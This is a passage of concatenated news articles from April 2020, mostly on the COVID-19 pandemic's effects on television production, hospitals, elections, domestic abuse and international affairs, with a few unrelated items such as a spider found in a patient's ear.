exasperation and love, exhaustion and laughs feels real. No TV mom has ever spent as much time picking up after her kids. Its like One Day at a Time remade as an art-house film. Four seasons streaming on FX on Hulu. Also: Adlon was the voice of Bobby Hill on King of the Hill; all 13 seasons of the Texas-set animated sitcom are streaming on Hulu. Jim Kiest is the arts and entertainment editor for the San Antonio Express-News. To read more from Jim, become a subscriber. jkiest@express-news.net | Twitter: @jimik64 EXCLUSIVE: Part One of a two part interview with actor Georgie Parker. Be careful what you wish for. Georgie Parker appreciates her downtime while Home & Away has halted production, as she approaches her 10th anniversary on the Seven serial. As an actor who has enjoyed lengthy runs in A Country Practice and All Saints, shes used to early starts and long days. But during the COVID-19 shutdown, she is more than aware she is one of the lucky ones. I was bitching to my husband, late last year: Im sick of working all the time! Ive worked since I was 16. Ive never just had a time where Ive gotten up, went to the corner store, got the paper, got a coffee, come home, read it. Unless its a rare day off she tells TV Tonight. So now I know what thats like its really nice to have room to breathe, but now Im really looking forward to when we can actually knuckle down (and work). And how fortunate am I that I can say that? Im looking forward to hearing what the storylines are, going back and slowly getting that whole engine running again. Were all guessing June, July. Production was shut down on March 22nd. Along with the rest of the cast and crew, Parker is awaiting the green light to resume. Its all to do with when restrictions will be lessened. We were working right up until about (four) and a half weeks ago and we were doing really well. We had adjusted filming in a very effective manner, adhering to as much spatial distancing as was possible. If they take the restrictions back a step or two, we will be able to resume filming. So were just waiting for that. Were all guessing June, July. Drama is particularly impacted by social-distancing rules. Even in a serial actors are expressing the human condition, emoting in intimate scenes whether as teens in love or as adults gingerly imparting advice to younger characters. Everything is about cheating the distance with camera angles Like their Ramsay Street counterparts, the Summer Bay production team had been at their creative best in thinking laterally. You cant do a classic two-shot because you cant have people standing that close to each other. So then everything is about cheating the distance with camera angles, and then its about staggering people in the frame. We also knew from the people we were working with that everyone was healthy. When we had someone who felt that they were getting the flu, so they just stayed home for two weeks and we just wrote them out. And then someone else had been on a plane and production just said You need to stay at home for two weeks. I think its a credit to the fact that when a productions been running as long as Neighbours & Home & Away, they can make those adjustments. They just rewrite around it. I mean, its really hard, but theyre malleable like that. But Parker, who is married to screenwriter Steve Worland (Go Karts, Paper Planes, Bootmen), is equally aware that thousands of others in the arts and screen communities are doing it tough. Many casual workers will not qualify for the JobKeeper program due to short term work falling short of the 12 month minimum with an employer. I just hope that the government initiative shifts a little bit The pandemic has really just halted live performance for everyone -the ballet, the opera, music, gigs, theatre. Everything is just dead. Theatre is precarious at its best anyway and they need every week to be a success for it to keep going. I just hope that the government initiative shifts a little bit so that they take all of that into consideration. The idea of being casually employed for a year if youre an artist, crew member, lighting or something, its just not the way it works. Im really hoping that with the amount of money that the Arts raises for the Australian economy, youd like to think that some of that will be acknowledged. Its the Arts that we go to, to distract us, to make yourself feel better Its the Arts that we go to, to distract us, to make yourself feel better, to inform ourselves, educate ourselves and to share ideas. Its what weve always gone to. When were not doing that, were listening to music. Its the content that we fill our lives with. It becomes the soundtrack to our lives. All the musicians were performing to raise money after the terrible bushfires. People who were willing to give up their time for free, because they understand the need and they understand the pull and the incredible response that the Arts can garner. People arent able to pay rent, they cant get food, theyre all having to try and go home -if thats an option. So for it to be completely dismissed, and not even acknowledged or respected, its a bizarre situation to find yourself in. Tomorrow: Georgie Parker on approaching 10 years in Home & Away. President Donald Trump defended his administration's handling of the coronavirus pandemic Tuesday as he met with Florida Gov. Ron DeSantis and promised to help states safely begin reopening their economies. Trump, seated next to DeSantis in the Oval Office, insisted that the United States was doing enough testing to protect Americans reentering the workforce and said he would sign an executive order to address "liability problems in the nation's food supply chain. He said the administration was talking to airlines about requiring temperature and virus checks for some travelers as they board flights. Trump has claimed for weeks now that airlines have been screening passengers, even though they're not. And he said the idea of having passengers wear masks sounded like a good idea. The administration had been sharply criticized for not overseeing widespread testing, but Trump said no amount would ever be good enough for critics in the media. The president dismissed suggestions that the administration was slow to respond to the threat of COVID-19, including reports that it was mentioned in his daily intelligence briefing in January and February. He stressed his decision to restrict flights from China though more than 40,000 travelers from China still made it to the US afterward and said of the decision: Whether it was luck, talent or something else, we saved many thousands of lives." Florida, with a high population of older Americans vulnerable to the disease, has long been a source of concern, and DeSantis was slower to impose social distancing guidelines than other governors were. But DeSantis, a fellow Republican and close Trump ally, promoted his state's ability to test its citizens. When Trump suggested DeSantis could be cutting off Brazil," which is experiencing a major outbreak, the governor replied, Not necessarily. And when Trump asked if DeSantis might consider a ban on travel from certain countries, the governor said he'd let the White House know if the state wanted to take that approach. Trump, for his part, said the administration was looking at setting up a system where we do some testing and we're working with the airlines on testing international travelers, both for temperature and the virus itself. Florida health authorities have attributed many of the state's cases to people who arrived from other hot spots, including Europe, Latin America and the New York region. DeSantis hasn't yet given any start date for a reopening but has said it would be methodical, slow and data-driven. He also has been collecting information from a task force representing industry groups and medical professionals. Asked why he closed his state later than others did, DeSantis contrasted Florida's tailored and measured approach with draconian measures in other states. Everyone in the media was saying Florida was going to be like New York or Italy, and that has not happened, DeSantis said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) AMSTERDAM St. Marys Healthcare in Amsterdam announced this week that president and CEO Vic Giulianelli will retire July 1 after a 40-year history with the hospital. Giulianelli joined St. Marys in 1980 as assistant director of its Community Mental Health Center. From 1982 to 2004, he served as vice president of operations before being tapped to lead the hospital as president and CEO, a role hes held for the last 16 years. In that time, he has facilitated the merger of Amsterdam Memorial Hospital on Route 30 with St. Marys on Guy Park Avenue. The former now serves as a primary care center and pediatrics office. He also oversaw the 2015 opening of a $17 million outpatient diagnostic and treatment center that included a cancer medicine center. He was tapped to chair the Alliance for Better Health Care, a collaboration led by St. Peters Health Partners in Albany and Ellis Medicine in Schenectady, and which also includes St. Marys in Amsterdam, and is designed to improve coordination of care for individuals who are uninsured or on Medicaid. Giulianelli has also led efforts to give back to the community. In 2017 he formed a Puerto Rico Relief Committee that raised over $64,000 to help those displaced by Hurricane Maria (Amsterdam has a large Puerto Rican population). He also commissioned a group to assist Amsterdams homeless population, which led to the formation of Danielles House, the first homeless shelter in the Fulton and Montgomery county region. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The hospital Board of Directors announced this week that Scott Bruce will take his place as president and CEO. Bruce has been with the hospital system for 25 years, and has served as vice president of operations since 2005. He has managed several service expansion and construction projects including the Rao Pavilion, urgent care, specialty and primary care centers, and an expansion of diagnostic and treatment services in medical imaging, laboratory and surgical suite. He is a graduate of Siena College and earned a Master of Business Administration at the University of Connecticut. Scott is a seasoned executive who is highly respected among his colleagues at St. Marys and throughout the Capital Region for his knowledge, judgment, insight, analytical abilities and collaborative leadership, the hospital said in a statement released Monday. He is able to see the big picture while maintaining focus on mission and what drives performance on a daily basis. Scott has established an excellent rapport with his peers and with those who report to him. He is respectful, creative and ever mindful of the poor and vulnerable who seek care at St. Marys. Eleven days before the first case of COVID-19 was confirmed at the Holyoke Soldiers Home, the facilitys superintendent told his Board of Trustees that staff had successfully contained a flu outbreak and were taking similar precautions to prevent the coronavirus. It didnt work. In a month the virus spread through the state-run home for elderly and infirm war veterans infecting 70% of the about 210 residents and killing 66 of them. The superintendent, Bennet Walsh, has been on paid administrative leave since March 30 as various state agencies investigate the outbreak. The trustees on Monday released the minutes of their March 10 meeting, which gives some insight into precautions being taken just as the virus was beginning to take hold in Massachusetts. (Walsh) noted that the recent flu outbreak at the home was contained to 7-8 days, due to early prophylactic medication to veterans as well as thorough cleaning processes throughout the building, the minutes said. By March 10 all visitors were required to enter through the same door so they could be screened for any illness before walking through the facility, and children under 12 were banned, the minutes said. Four days later, on March 14, the home changed the policy and halted all visitation, including volunteers and visiting entertainers. Staff are requested to stay home if not feeling well and are being asked to report any travel plans, Walsh said in the meeting minutes. But according to officials with the Service Employees International Union Local 888, which represents most of the nurses and certified nursing assistants, that policy was not followed. As more and more employees fell ill with the coronavirus some were accused of staging a sick-out and were told they would not be paid if they did not work. According to state data, 81 employees have tested positive for COVID-19. Union official Cory Bombredi said Walsh rebuffed the union on March 24 when it complained of critical staffing shortages. At the same time Walsh announced staff who worked extra shifts would receive a $3.50 per-hour bonus. After being alerted to the spreading virus, on March 30 officials for the Executive Office of Health and Human Services, which oversees the home, sent a team to the facility to investigate the problems. Before noon they placed Walsh on paid administrative leave, put Val Liptak, a registered nurse and CEO of Western Massachusetts Hospital, in charge of the facility and put a clinical team of experts in place to handle the outbreak. An additional 160 National Guard members have also been working there ever since to augment the staff. Walsh has released two statements calling allegations of wrong-doing and mismanagement outrageous. He said he continually updated state officials at the Department of Veterans Services, the Executive Office of Health and Human Services and the Department of Public health of the growing crisis. When he requested help from the National Guard on March 27, he was told no. Five different agencies are now conducting investigations into what occurredat the home including the House and Senate with members planning to hold a hearing when they return to session. Gov. Charlie Bakers Office, U.S. Andrew E. Lelling, state Attorney General Maura Healey and Inspector Glen Cunha are also investigating. During the March 10 meeting, Walsh said the Department of Veterans Services and Health and Human Services had approved the response to handling the coronavirus, the minutes said. When asked by member Issac Mass if there was a plan in place if there were staffing shortages, Walsh said there was. (Walsh) noted that we work with four outside staffing agencies for staffing needs if the need arises above current staff, the meeting minutes said. When state officials entered the home they found the staff was overwhelmed and many residents were infected with COVID-19 in one unit and the majority of the remaining units had veterans who had tested positive or showed symptoms of the coronavirus. The home has 10 inpatient units, and because there had been a significant number of people out of work they were down to 40 people in a staff that was already small, Lisa Colombo, the head of the clinical team, told the Board of Trustees in its April meeting. They had consolidated it down to seven units and that resulted in overcrowding. During the meeting, Walsh said his staff had been working in cooperation with Holyoke officials to discuss precautions. Later however the communications apparently broke down. Mayor Alex Morse said he learned at least eight veterans had died and others were infected through a text sent anonymously. He only learned of the problems when he phoned Walsh personally on March 29. Issues about plans for testing and communicating with families were also discussed at the meeting. The Trustees did not ask questions about available personal protective equipment. Related Content: Dacey wrote to state health officials last week urging decisive action to contain the spread. Both Perdue and Tyson have declined to say how many of their employees at the facilities have covid-19, the disease caused by the coronavirus, but said they are taking extra precautions to try to prevent its spread. On Friday, Tyson closed the facility for a three-day cleaning, and employees were back at work on the line Monday, officials said. Due to the coronavirus outbreaks impact on ballot-casting last month, one nonprofit is providing guidance on how to vote by mail ahead of this falls general election. MassVOTE published a policy brief this week analyzing four issues surrounding voting by mail - including accessibility, cost, infrastructure and security - and highlighted best practices states being used by states across the country. The nonprofit group has sent the eight-page brief to the commonwealths 200 state legislators and more than 5,000 of their supporters, according to a statement from the organization. Our main goal with this policy brief is to not only educate folks, but to dispel many myths around vote-by-mail, Alex Psilakis, MassVOTE policy and communications manager, said in the statement. Everyone, from legislators to voters, has heard a lot about vote-by-mail over the past few weeks. Yet what they have actually heard - and what vote-by-mail can actually look like - varies dramatically." Beacon Hill lawmakers introduced a bill earlier this month that would allow early voting by mail before the September state primary and the November general election if the current state of emergency is still in effect. Ballots would need to be received by ones town clerk before polls close on Election Day. U.S. Rep. Joseph Kennedy III, who is running against incumbent U.S. Sen. Ed Markey, has also been advocating to allow residents to vote by mail in the wake of the outbreak and asked the state Legislature to pass a vote-by-mail bill for Election Day. In a video conference Tuesday with Massachusetts Attorney General Maura Healey, he and the prosecutor expressed the need for the alternative ballot-casting option during the COVID-19 public health crisis. No one should have to chose between their health and the right to vote, he tweeted. We need vote by mail. MassVOTEs announcement comes several weeks after the Wisconsin presidential primary, where voting mishaps were aplenty due to the ongoing pandemic. Thousands of absentee ballots went uncounted. Hundreds of polling locations closed. Other spots that remained open severely lacked election officials and personal protective equipment, according to the groups brief, titled "Bracing Our Elections for COVID-19: Understanding Vote-By-Mail and How It Can Thrive In Massachusetts. In the end, many voters faced an unacceptable choice - wait in line for hours and put their health and the health of those around them at risk, or stay at home and lose the opportunity to make their voice heard, the brief said. After the states primary was held, 40 people who either went out to vote or were working at polling locations tested positive for the viral respiratory infection, The Hill reported. It is unclear, though, if they contracted the virus during the primary as several patients reported other possible exposures. MassVOTE is working to ensure the September primary and November general election can be safely held in-person, Psilakis said, adding that transmission of the coronavirus during Wisconsins election is concerning. Its only proof that we need to reform our elections," Psilakis told MassLive. We dont want this to be going on in September or November, but we want to be ready. If theyre right about a second wave in the winter, we want to be ready. To avoid a repeat of Wisconsin, MassVOTE said, Massachusetts must implement a vote-by-mail system. Five states - Colorado, Hawaii, Oregon, Utah and Washington - already have the option available, though the process differs state to state, particularly during primary elections. In Washington, unenrolled voters receive one ballot in which they can vote for a single party during a primary, while in Colorado, residents get ballots from both the Democratic and Republican parties but can send only one back, MassVOTE noted. The organization urged Massachusetts to adopt Utahs model, where voters affiliated with either party automatically receive by-mail primary ballots, and unenrolled voters get a letter giving them the option to request either partys ballot, according to MassVOTE. The group also recommended that the commonwealth provide pre-paid envelopes so voters can return their ballots. The state should extend the voter return deadline for the general election as well, MassVOTE said. To implement voting by mail, Massachusetts needs a slew of technologies and security measures, according to the groups brief. These include high-speed sorting equipment and scanners, signature verification systems and 24/7 video surveillance of ballot processing centers. MassVOTE noted the commonwealth can balance the public health concerns that have ramped up due to the pandemic with worries about electoral integrity. Preserving public health is of the utmost importance right now. But this goes hand-in-hand with ensuring our fall elections take place in a safe, secure manner, and ensuring everyones voice is heard at the ballot box," Psilakis said. Massachusetts can and must implement vote-by-mail in time for the fall elections. Related Content: State of emergency in Yemen: Minister for the Middle East's statement The UK urges the parties to resume their efforts to implement the Riyadh Agreement and restore security and stability to southern Yemen. 27 April 2020 On Saturday 25 April, the Southern Transitional Council (STC), which represents a number of groups in southern Yemen, declared a state of emergency in Aden and the southern governorates of Yemen, adding that the council would assume administration of these areas as of midnight. This declaration runs counter to the STC's commitments in the Saudi-brokered Riyadh Agreement between itself and the Yemeni Government. The UK supports the Riyadh Agreement, which sets out a series of steps to establish an inclusive government and restore security and stability to southern Yemen. The UK urges the parties to resume their efforts to implement the Agreement. The UK continues to work with relevant parties to help find a way forward and encourages the parties to refrain from unconstructive acts and statements. We are also providing life-saving UK aid to help those in desperate need and to mitigate the dreadful prospect of coronavirus exacerbating Yemen's dire humanitarian crisis. Minister for the Middle East and North Africa James Cleverly said: "This is a deeply concerning move by the Southern Transitional Council, which risks prolonging the conflict by derailing efforts to establish an inclusive government and restore stability to southern Yemen." "The STC and the Government of Yemen must immediately and fully implement the Riyadh Agreement. This is the only way to deliver the peace and stability that southern Yemen so desperately needs." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address An FBI-connected research group warned last year that the anti-vaxxer movement could pose a threat to national security in the event of a pandemic. The paper, first reported in The Guardian, and published by the non-profit research group which has FBI ties, predicted that the biggest threat in controlling an outbreak comes from those who categorically reject vaccination. The report was posted on InfraGard in June 2019, just months before the coronavirus pandemic began, and notes that in the case of a pandemic resistance to vaccination could produce gaps in our ability to achieve herd immunity. The predictions also suggest that the effects of vaccine hesitancy may be worsened by conspiracy movements, social media misinformation and propaganda campaigns by many foreign and domestic actors. InfraGard defines itself on its website as an FBI-affiliated nonprofit organisation dedicated to strengthening national security. The paper, titled "The Anti-Vaxxers Movement and National Security" was jointly written by Christine Sublett a Strategic Cyber and Information Security Advisor and Dr Mark Jarrett, Chief Quality Officer and Associate Chief Medical Officer at Northwell Health. Some anti-vaxxers are reported to be aiding anti-government sentiment that is rising in some states amidst the pandemic, joining with anti-lockdown demonstrators to protest stay-at-home orders. This is just a fresh coat of paint for the anti-vaccine movement in America, and an exploitative means for them to try to remain relevant, Dr Peter Hotez, a professor at Baylor College of Medicine in Houston told The Los Angeles Times. Others have expressed concern over the stark labelling of the group as a national security threat and whether this could implicate their own safety in society. 'Live free or die': Anti-lockdown protests sweep US Show all 15 1 /15 'Live free or die': Anti-lockdown protests sweep US 'Live free or die': Anti-lockdown protests sweep US Protesters form a motorcade against lockdown orders outside the State House in Annapolis, Maryland on 18 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US People take part in a protest for "Michiganders Against Excessive Quarantine" outside the Michigan State Capitol building in Lansing on 15 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US Alex Jones, host of conspiracy theory outlet Infowars, joins the 'Reopen America' protest against lockdown measures in Austin Texas on 18 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US A group of protesters rally against lockdown orders outside the Virginia State Capitol building in Richmond on 16 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US A protester holds a sign comparing Michigan governor Gretchen Whitmer to a Nazi during a demonstration at the State Capitol in Lansing over coronavirus lockdown measures AP 'Live free or die': Anti-lockdown protests sweep US A 2020 Trump Unity sign is displayed during a protest against coronavirus lockdown measures at the State Capitol in Lansing, Michigan AP 'Live free or die': Anti-lockdown protests sweep US Anti-lockdown protesters drive by the Ohio State House in Columbus on 18 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US Protesters form a motorcade in opposition to state lockdown measures outside the Michigan State Capitol in Lansing on 15 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US A protester takes part in a rally outside the Ohio State House in Columbus on 18 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US People take part in a protest for "Michiganders Against Excessive Quarantine" outside the Michigan State Capitol building in Lansing on 15 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US Protesters form part of a motorcade in opposition to state lockdown measures outside the North Carolina State Legislature in Raleigh on 14 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US Protesters rally against lockdown measures outside the Michigan State Capitol in Lansing on 15 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US Protesters form a motorcade in opposition to state lockdown measures around the Michigan State Capitol in Lansing on 15 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US Police urge people to spread out during a protest against lockdown measures outside the Virginia State Capitol building in Richmond on 16 April AFP/Getty 'Live free or die': Anti-lockdown protests sweep US An armed protester taking part in a demonstration against coronavirus lockdown measures outside the State Capitol in Lansing, Michigan EPA An FBI spokesperson told The Guardian: InfraGard is a non-profit organisation serving as a public-private partnership among US businesses, individuals, and the FBI. It is important to distinguish among the statements, views, and comments made by official FBI representatives and InfraGard Members, the spokesperson added, according to the report. The World Health Organisation (WHO) identified vaccine hesitancy as being among the top ten threats to global health last year and experts have continued to assert that people refusing to accept a vaccine could impact the spread of the coronavirus pandemic. We need a vaccine. However, the vaccine is only effective in preventing the disease if we have appropriate vaccine uptake, said Dr Scott Ratzan, founder of the International Working Group on Vaccination and Public Health Solutions. If people do not take the vaccine and we do not have exposure to a level that would have overall community immunity we could have a resurgence in cases of Covid-19 or the next coronavirus, he continued. Some have suggested at least some on the fence anti-vaxxers to reconsider their attitudes towards vaccines amidst the pandemic, but that those who are strong in their beliefs may only become more robust in their attitudes. The WHO says at least 20 coronavirus vaccines are being developed around the world where more than 3,000,000 people have been infected with the novel coronavirus, causing more than 210,000 deaths, according to data from the Johns Hopkins University. Working group with participation of relatives of Ukrainian detainees in occupied territories to be set up soon Denisova A working group under the Office of the President of Ukraine with the participation of relatives of Ukrainian citizens detained in the temporarily occupied territories of Donetsk and Luhansk regions and a commission in charge of search for those who went missing in Donbas will be set up soon, Verkhovna Rada Commissioner for Human Rights Liudmyla Denisova has said. "We have finished a meeting with Head of the Office of the President of Ukraine Andriy Yermak and families of the citizens detained in the temporarily occupied territories of Donetsk and Luhansk regions. We focused on two main steps that must be taken soon: the creation of a working group under the Office of the President of Ukraine with the participation of relatives of our captive compatriots; launch of a commission in charge of search for those who went missing," she said on Facebook on Tuesday. Denisova also said that she will insist on prompt adoption of the bill on the status of captives. The participants of the meeting also raised the issue of providing the families of the Ukrainian citizens, who are being illegally detained in the temporarily occupied territories of Donetsk and Luhansk regions, with financial assistance. "The negotiation process is underway. Such online meetings are held every week within the framework of the TCG [Trilateral Contact Group]. In conclusion, we agreed to support active communication in order to analyze the available information and establish the process of returning our citizens from captivity," Denisova said. TELEMMGLPICT000202891337.jpeg A new kind of domestic abuse has emerged during the coronavirus lockdown of children attacking their parents, the victims commissioner has revealed. Dame Vera Baird, a former solicitor general, said there had been increasing reports of teenage children abusing their parents after being stopped from going out. This is a new kind of abuse which is probably suggestive of children wanting to go out and not being allowed to, she told MPs on the Commons justice committee. We are talking about teenagers and thats a worry. Theres a sense in which there is a spike likely to emerge of this kind of domestic abuse that is just coming through. Domestic violence offences by sons on their parents has risen more than 30 per cent since 2010 to 5,294 last year and has doubled by daughters to 1,598, according to the only published data on such abuse, compiled by the Met Police. Suzanne Jacob, chief executive of SafeLives, a charity that researched the phenomenon, said it was seen as a very taboo topic where the reaction from authorities to parents was often to hold them responsible and ask: Why dont you be a tougher parent? But, she said, no parent wants to call the police on the children. What it takes is a great deal of sensitive work with the young people themselves. Dame Vera, who writes for today's Daily Telegraph, warned the true scale of domestic abuse during the lockdown was being suppressed by the inability of victims to escape the attention of their abuser when trapped in the same home 24/7. Theres likely to be a tsunami of complaints, pleas for help and police reports as soon as the lockdown is over, she said. Domestic abuse charities have seen rises of 30 per cent in calls and 120 per cent in inquiries to their websites but incidents recorded by police are ranging widely between forces from a 24 per cent rise in North Yorkshire to nine per cent in London and the West Midlands and decreases in Dyfed-Powys. Story continues Yesterday Theresa May urged Boris Johnson to assess the impact of the lockdown on domestic abuse when drawing up an exit strategy. During a second reading debate on the domestic abuse bill, she said a situation could not be allowed to develop where the "cure for the disease does more damage than the disease itself." amid the reported spike in levels of abuse during lockdown. She suggested police and councils consider "random contact" or visiting homes where there are known perpetrators or reports of domestic violence, a practice used by police in New York. Ministers are considering establishing safe spaces in pharmacies and supermarkets to which victims could escape to call police or charities. Priti Patel, the Home Secretary, is also in talks with the Treasury for a slice of the 750 million charities bail out to combat domestic abuse. The domestic abuse bill seeks to give better protection to those fleeing violence by placing a new legal duty on councils to provide secure homes for them and their children. It would also introduce the first legal Government definition of domestic abuse, which would include economic abuse and controlling and manipulative non-physical behaviour. Yvette Cooper, Labour chair of the Commons Home Affairs Committee, said there was evidence now the number of women and children killed as a result of domestic abuse in a "few short weeks has increased sharply and is at its highest level for over a decade". She added: "At a time when calls to helplines are up by 50 per cent and visits to some support websites up seven-fold and when some victims are feeling more trapped than ever because perpetrators of abuse are exploiting the coronavirus crisis to increase control and to commit crimes." Opening the debate, Justice Secretary Robert Buckland said help will be available for all victims of domestic abuse during the coronavirus outbreak. "The police continue to respond to incidents of domestic abuse and anyone in immediate danger should not hesitate to call 999 and the emergency services," he said. The new domestic violence commissioner will now work four days a week, rather than three. Mr Buckland said he had listened to arguments from MPs that the post should not be "part-time" By Akbar Mammadov Israels "Jerusalem Post" newspaper has praised measures to fight the COVID-19 in Azerbaijan, namely the high number of tests carried out in the country as well as the quarantine regime that has been in place since March 24. Azerbaijan has conducted over 75,000 tests, which is around 5,300 people per one million of the total population. This figure attests that Azerbaijan ranks first in the entire region in testing, and is ahead of many advanced European nations in the number of tests, author Arye Gut said in the article titled "Coronavirus in Azerbaijan: Challenges and Reality". The author drew attention to the lack on panic in the country over the quarantine regime. All of Azerbaijan is now in quarantine. At the same time, people do not stagger around in the parks and do not go to barbecue, do not try to go to prayer places. In addition, most importantly, this all happens in a civilized manner. Because there is no panic in the country. There is trust in state institutions and an understanding that they will not be thrown and that they will be treated humanely. "It appears that Azerbaijan is doing very best to contain and prevent the coronavirus from spreading as well as to mitigate this unfortunate pandemic misery damage for its economy and people," Gut added. Furthermore, the author described Azerbaijan as "Israels reliable partner and ally in Eurasia. "Azerbaijan today is an exporter of security and stability. Moreover, the country directly supports the efforts of the international community to prevent modern-day threats", the author added. --- Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97 Follow us on Twitter @AzerNewsAz Surgical procedures at Flin Flon General Hospital have been suspended following the departure of the operating rooms surgeon and anesthetist. Hey there, time traveller! This article was published 27/4/2020 (625 days ago), so information in it may no longer be current. Surgical procedures at Flin Flon General Hospital have been suspended following the departure of the operating rooms surgeon and anesthetist. The Northern Regional Health Authority was left with "no other choice" but to suspend OR services, a spokesperson said, after Dr. Rashid Abulhoda (the hospitals general surgeon) left March 20, followed by anesthetist Dr. Eiman Rahimi on April 17. "In the short term, a contingency plan has been developed that will see all surgical cases presenting to the Flin Flon General Hospital being transferred to The Pas or Winnipeg, as is deemed clinically appropriate," the spokesperson said in a statement to the Free Press. "We know realistically that we are up against a national shortage of core specialists like anesthetists and surgeons." The health authority declined to comment on the nature of the departures. Abulhoda and Rahimi are no longer listed in the College of Physicians & Surgeons of Manitoba directory of practising physicians. The NRHA said the general surgeon averaged less than 10 surgeries a month and its latest annual report states the anesthetist had reduced hours to half-time. Darlene Jackson, president of the Manitoba Nurses Union, raised alarm over the future of surgical procedures in Flin Flon when five operating room nurses received employment security notices on April 22. (Mike Deal / Winnipeg Free Press files) Manitoba Nurses Union president Darlene Jackson raised alarm over the future of surgical procedures in Flin Flon after five operating room nurses received employment security notices April 22, indicating staff could apply for open positions elsewhere in the health system. "Nurses are committed to that community and that facility," Jackson said. "They live there and thats where they raise their kids, but now I think theyre really unsure about their future, both with the community and with the facility. "Nurses are concerned because this leaves this community without access to an essential health service," she said. "This forces not only residents of Flin Flon, but residents of the catchment area, to travel farther for care, and thats definitely a concern." The hospitals obstetrics program was suspended by the NRHA in November 2018, due to a lack of "consistent obstetrical coverage," after the departure of the hospitals obstetrician. The service has yet to be reinstated. "This is just another area of worry and anxiety for that entire community," Jackson said. "This government really needs to start looking at how theyre going to recruit and retain physicians out into the rural areas." Extensive planning between Manitoba Health, Shared Health and the regional health authority on the future of the hospital has been ongoing, the NRHA spokesperson said, and is based on the provinces preventive clinical services plan. "Nurses are concerned because this leaves this community without access to an essential health service. This forces not only residents of Flin Flon, but residents of the catchment area, to travel farther for care, and thats definitely a concern." Darlene Jackson, Manitoba Nurses Union president The plan (released in November) set a framework to increase access to primary and community care for rural and northern residents, and to reduce trips to Winnipeg for services. "Permanently shuttering operating rooms is the last thing this government should be doing in a health pandemic," Flin Flon NDP MLA Tom Lindsey said. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Our community needs a health-care system that can not only meet the regular and ongoing health needs of families but can also be there should COVID-19 cases begin to appear in Flin Flon." The NRHA would not say Monday if the suspension of operating room services is temporary. "We believe that the opportunities for Flin Flon are significant and we know that the mix of services and programs has not yet been finalized," the NRHA said. "Much of that work, and the subsequent decisions, are depending on the provincial plan as well as how that provincial plan is unfolded within the Northern Health Region." A spokesperson for Shared Health said input from communities will continue to be considered as the provinces plan is implemented in Flin Flon. "We will continue to work with the region to seek long-term solutions that will ensure access to reliable, consistent and high-quality health services closer to home for residents of Flin Flon and other northern communities," the spokesperson said. danielle.dasilva@freepress.mb.ca Spiders can be really creepy at times. Spotting them at a corner of your house might make you pick up a broom and clean the place as soon as possible. But what would you do if a spider is busy weaving a web in your ear? Well, this fear came true for an elderly woman in China. The Mianyang Hospital of Traditional Chinese Medicine in Sichuan province shared the chilling footage of the little creature. In the clip, one can see the medics spotting a spider who is crawling up a patients ear canal and is busy spinning a web inside it. The elderly female patient was admitted to the hospital after she complained about the continuous itching and 'sting pain' in her ear. The medics found a ball of silk inside her ear on the initial scan. This prompted them to recommend an otoscopy to find out further details. The footage revealed a live spider spinning a web around the ears glands. As revealed, the spider has lived inside the ear for almost a week now. To get rid of the spider, the medics chose to paralyse the spider using a chemical ear drops. It was then pulled out using tweezers. Dr Liu Jun, an ENT specialist, described the process. He informed that it is not so common for small insects or animals to be found inside the ear, however, this wasnt the first case. Talking about how one can prevent such incidents, he said, Personal hygiene is the key to preventing this. But should an insect enter your ear, do not try to remove it by yourself. Always seek medical attention. Sudan risks being plunged into a humanitarian disaster by COVID-19 unless sanctions are lifted and donors provide financial support, the UN rights chief said Tuesday. Without international backing, the country's transition towards peace and stability could swing into reverse, Michelle Bachelet said in a statement. A year has passed since president Omar al-Bashir was ousted by the army on April 11, 2019, following months of nationwide protests. Prime Minister Abdalla Hamdok took power as head of a transitional government sworn in last September, but Sudan's economy remains in deep crisis. Bachelet said the promise of economic and social development, democracy, justice and peace was being threatened by acute resource constraints on the transitional government. She said they were being exacerbated by ongoing unilateral sanctions, the failure of international institutions to provide debt-relief, and a deficit of international support. "The tipping point could be COVID-19," Bachelet warned. "The health system is simply not equipped to handle an outbreak on the scale we have seen elsewhere in the world. There is only one way to prevent a humanitarian disaster, and that is for the donors to step up and extend a helping hand to Sudan." Khartoum remains on a US blacklist as a state sponsor of terrorism, stifling investment. It is for instance not eligible to access the emergency financing set up by the World Bank and the International Monetary Fund to help countries combat the COVID-19 pandemic. Households continue to suffer from frequent power cuts and most Sudanese still queue up for hours to buy staple foods or to fill their cars with petrol. In response to the novel coronavirus pandemic, the government announced a 24-hour curfew for three weeks from April 18 across Khartoum state. Sudan has seen 237 confirmed cases and 21 deaths, according to the latest World Health Organization figures. "The only way Sudan will ever be able to break out of this cycle of poverty and desperation is to be freed from the impediments of sanctions imposed at the time of the previous government," said Bachelet. The former Chilean president said that without addressing the economic and social grievances that sparked the ousting of Bashir, "Sudan's successful transition to achieving a durable peace remains distant." Search Keywords: Short link: The members of the Brics (Brazil-Russia-India-China-South Africa) grouping on Tuesday decided to create a special fund of $15 billion to rebuild their economies and to overcome the impact of the global Covid-19 pandemic. The decision was made during a video conference of foreign ministers of Brics states convened by the current chair, Russia. The meeting also discussed a host of measures, ranging from healthcare to trade and financial sustainability, which could be part of a common approach to fight the pandemic. The New Development Bank (NDB), established by Brics to mobilise resources for infrastructure and sustainable development projects, will allocate up to $15 billion for loans to help the member states boost their economies amid the pandemic, Russian foreign minister Sergey Lavrov said. We decided to set up a special loan instrument to finance projects for the economic rebuilding of Brics countries. In total, we decided to allocate up to $15 billion to this, and we believe this can be a very good foundation at the stage our economies leave the crisis behind to restore economic activities, he told a news briefing after the video conference. The meeting, Lavrov said, discussed a huge set of measures, including cooperation in healthcare, trade, financial sustainability and employment, as part of a coordinated approach to the 